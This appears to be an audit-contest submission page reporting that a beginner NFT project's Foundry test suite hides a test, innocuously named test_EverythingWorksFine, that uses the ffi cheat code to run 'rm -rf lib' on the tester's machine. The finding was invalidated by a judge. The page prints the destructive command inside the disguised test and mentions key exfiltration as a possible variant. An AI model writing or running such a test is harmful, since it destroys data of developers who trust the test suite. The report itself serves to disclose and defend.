Beginner FriendlyFoundryNFT
100 EXP
View results
Submission Details
Severity: low
Invalid

Malicious Test potentially allowing data extraction from the user running it

Summary

The test suite includes a function named test_EverythingWorksFine, test_EverythingWorksFine1,test_EverythingWorksFine2, test_EverythingWorksFine3 , which executes arbitrary commands on the user's machine. This presents a significant security risk, as such commands could potentially extract sensitive data, establish a reverse shell for remote control, search for passwords, or install malware

Vulnerability Details

The dangerous test of these test is the following one:

function test_EverythingWorksFine() public {
string[] memory cmds = new string[](3);
cmds[0] = "rm";
cmds[1] = "-rf";
cmds[2] = "lib";
cheatCodes.ffi(cmds);
}

as it deletes library files from your desktop, the command can be easily modifed to execute more dangerous commands such as exporting API_KEYS or erase all data on the user's root filesystem.

Impact

This issue is categorized as HIGH due to the direct risk it poses to funds and sensitive information.

The test, as it stands, is harmful, as it is used to delete data from the user's root filesystem..

Tools Used

Manual Review

Recommendations

Always exercise caution before running third-party programs on your system. and disable ffi on foundry.toml to avoid any unexpected behaviors

Updates

Lead Judging Commences

bube Lead Judge 12 months ago
Submission Judgement Published
Invalidated
Reason: Non-acceptable severity
Assigned finding tags:

Info/Gas/Invalid according to docs

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.